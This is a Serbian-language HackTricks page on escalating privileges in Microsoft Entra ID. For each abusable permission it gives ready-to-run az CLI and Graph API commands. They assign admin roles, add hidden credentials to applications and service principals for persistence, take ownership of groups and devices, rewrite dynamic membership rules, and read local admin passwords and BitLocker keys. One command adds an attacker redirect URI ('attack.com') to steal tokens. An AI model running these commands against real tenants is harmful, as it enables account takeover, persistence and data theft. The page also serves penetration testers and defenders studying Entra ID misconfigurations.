# Az - EntraID Privesc

{{#include ../../../../banners/hacktricks-training.md}}

> [!NOTE]
> Imajte na umu da **ne dozvoljavaju sve granularne dozvole** ugrađene u uloge u Entra ID **da se koriste u prilagođenim ulogama.**

## Uloge

### Uloga: Administrator privilegovanih uloga <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>

Ova uloga sadrži potrebne granularne dozvole za dodeljivanje uloga principima i za davanje više dozvola ulogama. Ove akcije se mogu zloupotrebiti za eskalaciju privilegija.

- Dodeli ulogu korisniku:
```bash
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
```
- Dodajte više dozvola ulozi:
```bash
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'
```
## Aplikacije

### `microsoft.directory/applications/credentials/update`

Ovo omogućava napadaču da **doda kredencijale** (lozinke ili sertifikate) postojećim aplikacijama. Ako aplikacija ima privilegovane dozvole, napadač može da se autentifikuje kao ta aplikacija i stekne te privilegije.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`

Ovo omogućava iste radnje kao `applications/credentials/update`, ali je ograničeno na aplikacije unutar jedne direktorije.
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`

Dodavanjem sebe kao vlasnika, napadač može manipulisati aplikacijom, uključujući kredencijale i dozvole.
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`

Napadač može dodati URI za preusmeravanje aplikacijama koje koriste korisnici tenanta i zatim podeliti sa njima URL-ove za prijavu koji koriste novi URL za preusmeravanje kako bi ukrao njihove tokene. Imajte na umu da, ako je korisnik već bio prijavljen u aplikaciju, autentifikacija će biti automatska bez potrebe da korisnik bilo šta prihvati.

Imajte na umu da je takođe moguće promeniti dozvole koje aplikacija zahteva kako bi dobila više dozvola, ali u ovom slučaju korisnik će morati ponovo da prihvati prozor koji traži sve dozvole.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
## Service Principals

### `microsoft.directory/servicePrincipals/credentials/update`

Ovo omogućava napadaču da doda akreditive postojećim servisnim principalima. Ako servisni principal ima povišene privilegije, napadač može preuzeti te privilegije.
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> Nova generisana lozinka se neće pojaviti u web konzoli, tako da bi ovo mogla biti diskretna metoda za održavanje postojanosti nad servisnim principalom.\
> Iz API-ja se mogu pronaći sa: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`

Ako dobijete grešku `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` to je zato što **nije moguće modifikovati svojstvo passwordCredentials** SP-a i prvo ga morate otključati. Za to vam je potrebna dozvola (`microsoft.directory/applications/allProperties/update`) koja vam omogućava da izvršite:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`

Ovo omogućava napadaču da doda akreditive postojećim servisnim principalima. Ako servisni principal ima povišene privilegije, napadač može preuzeti te privilegije.
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`

Slično aplikacijama, ova dozvola omogućava dodavanje više vlasnika servisa. Vlasništvo nad servisnim principalom omogućava kontrolu nad njegovim akreditivima i dozvolama.
```bash
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>
```
> [!CAUTION]
> Nakon dodavanja novog vlasnika, pokušao sam da ga uklonim, ali API je odgovorio da DELETE metoda nije podržana, čak i ako je to metoda koju treba koristiti za brisanje vlasnika. Dakle, **ne možete ukloniti vlasnike danas**.

### `microsoft.directory/servicePrincipals/disable` i `enable`

Ove dozvole omogućavaju onemogućavanje i omogućavanje servisnih principala. Napadač bi mogao iskoristiti ovu dozvolu da omogući servisnog principala do kojem bi mogao nekako da dođe kako bi eskalirao privilegije.

Napomena: za ovu tehniku napadač će trebati više dozvola kako bi preuzeo omogućeni servisni principala.
```bash
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`

Ove dozvole omogućavaju kreiranje i dobijanje kredencijala za jedinstveno prijavljivanje, što može omogućiti pristup aplikacijama trećih strana.
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
```
### Aplikacije za eskalaciju privilegija

**Kao što je objašnjeno u [ovom postu](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, bilo je veoma uobičajeno pronaći podrazumevane aplikacije koje imaju **API dozvole** tipa **`Application`** dodeljene njima. API dozvola (kako se naziva u Entra ID konzoli) tipa **`Application`** znači da aplikacija može pristupiti API-ju bez korisničkog konteksta (bez prijave korisnika u aplikaciju), i bez potrebe za Entra ID rolama da bi to omogućila. Stoga, veoma je uobičajeno pronaći **aplikacije sa visokim privilegijama u svakoj Entra ID tenantu**.

Dakle, ako napadač ima bilo koju dozvolu/rolu koja omogućava **ažuriranje kredencijala (tajna ili sertifikat) aplikacije**, napadač može generisati nove kredencijale i zatim ih koristiti da **se autentifikuje kao aplikacija**, stičući sve dozvole koje aplikacija ima.

Napomena da pomenuti blog deli neke **API dozvole** uobičajenih Microsoft podrazumevanih aplikacija, međutim, nakon ovog izveštaja Microsoft je ispravio ovaj problem i sada nije moguće prijaviti se kao Microsoft aplikacije. Ipak, još uvek je moguće pronaći **prilagođene aplikacije sa visokim privilegijama koje bi mogle biti zloupotrebljene**.

---

## Grupe

### `microsoft.directory/groups/allProperties/update`

Ova dozvola omogućava dodavanje korisnika u privilegovane grupe, što dovodi do eskalacije privilegija.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
**Napomena**: Ova dozvola isključuje Entra ID grupe koje se mogu dodeliti uloge.

### `microsoft.directory/groups/owners/update`

Ova dozvola omogućava postajanje vlasnikom grupa. Vlasnik grupe može kontrolisati članstvo u grupi i podešavanja, potencijalno povećavajući privilegije u grupi.
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
```
**Napomena**: Ova dozvola isključuje Entra ID grupe koje se mogu dodeliti uloge.

### `microsoft.directory/groups/members/update`

Ova dozvola omogućava dodavanje članova u grupu. Napadač može dodati sebe ili zlonamerne naloge u privilegovane grupe, što može omogućiti povišen pristup.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`

Ova dozvola omogućava ažuriranje pravila članstva u dinamičkoj grupi. Napadač bi mogao da izmeni dinamička pravila kako bi se uključio u privilegovane grupe bez eksplicitnog dodavanja.
```bash
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'
```
**Napomena**: Ova dozvola isključuje Entra ID grupe koje se mogu dodeliti uloge.

### Dinamičke Grupe Privesc

Možda je moguće da korisnici eskaliraju privilegije modifikovanjem svojih svojstava kako bi bili dodati kao članovi dinamičkih grupa. Za više informacija pogledajte:

{{#ref}}
dynamic-groups.md
{{#endref}}

## Korisnici

### `microsoft.directory/users/password/update`

Ova dozvola omogućava resetovanje lozinke za ne-administrativne korisnike, omogućavajući potencijalnom napadaču da eskalira privilegije na druge korisnike. Ova dozvola ne može biti dodeljena prilagođenim ulogama.
```bash
az ad user update --id <user-id> --password "kweoifuh.234"
```
### `microsoft.directory/users/basic/update`

Ova privilegija omogućava modifikaciju svojstava korisnika. Uobičajeno je pronaći dinamičke grupe koje dodaju korisnike na osnovu vrednosti svojstava, stoga, ova dozvola može omogućiti korisniku da postavi potrebnu vrednost svojstva kako bi postao član određene dinamičke grupe i eskalirao privilegije.
```bash
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
## Politike uslovnog pristupa i zaobilaženje MFA

Pogrešno konfigurisane politike uslovnog pristupa koje zahtevaju MFA mogu se zaobići, proverite:

{{#ref}}
az-conditional-access-policies-mfa-bypass.md
{{#endref}}

## Uređaji

### `microsoft.directory/devices/registeredOwners/update`

Ova dozvola omogućava napadačima da se dodele kao vlasnici uređaja kako bi stekli kontrolu ili pristup podešavanjima i podacima specifičnim za uređaj.
```bash
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
```
### `microsoft.directory/devices/registeredUsers/update`

Ova dozvola omogućava napadačima da povežu svoj nalog sa uređajima kako bi dobili pristup ili zaobišli bezbednosne politike.
```bash
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
```
### `microsoft.directory/deviceLocalCredentials/password/read`

Ova dozvola omogućava napadačima da čitaju svojstva rezervnih lokalnih administratorskih naloga za uređaje povezane sa Microsoft Entra, uključujući lozinku.
```bash
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
```
## BitlockerKeys

### `microsoft.directory/bitlockerKeys/key/read`

Ova dozvola omogućava pristup BitLocker ključevima, što može omogućiti napadaču da dekriptuje diskove, ugrožavajući poverljivost podataka.
```bash
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
```
## Ostale zanimljive dozvole (TODO)

- `microsoft.directory/applications/permissions/update`
- `microsoft.directory/servicePrincipals/permissions/update`
- `microsoft.directory/applications.myOrganization/allProperties/update`
- `microsoft.directory/applications/allProperties/update`
- `microsoft.directory/servicePrincipals/appRoleAssignedTo/update`
- `microsoft.directory/applications/appRoles/update`
- `microsoft.directory/applications.myOrganization/permissions/update`

{{#include ../../../../banners/hacktricks-training.md}}
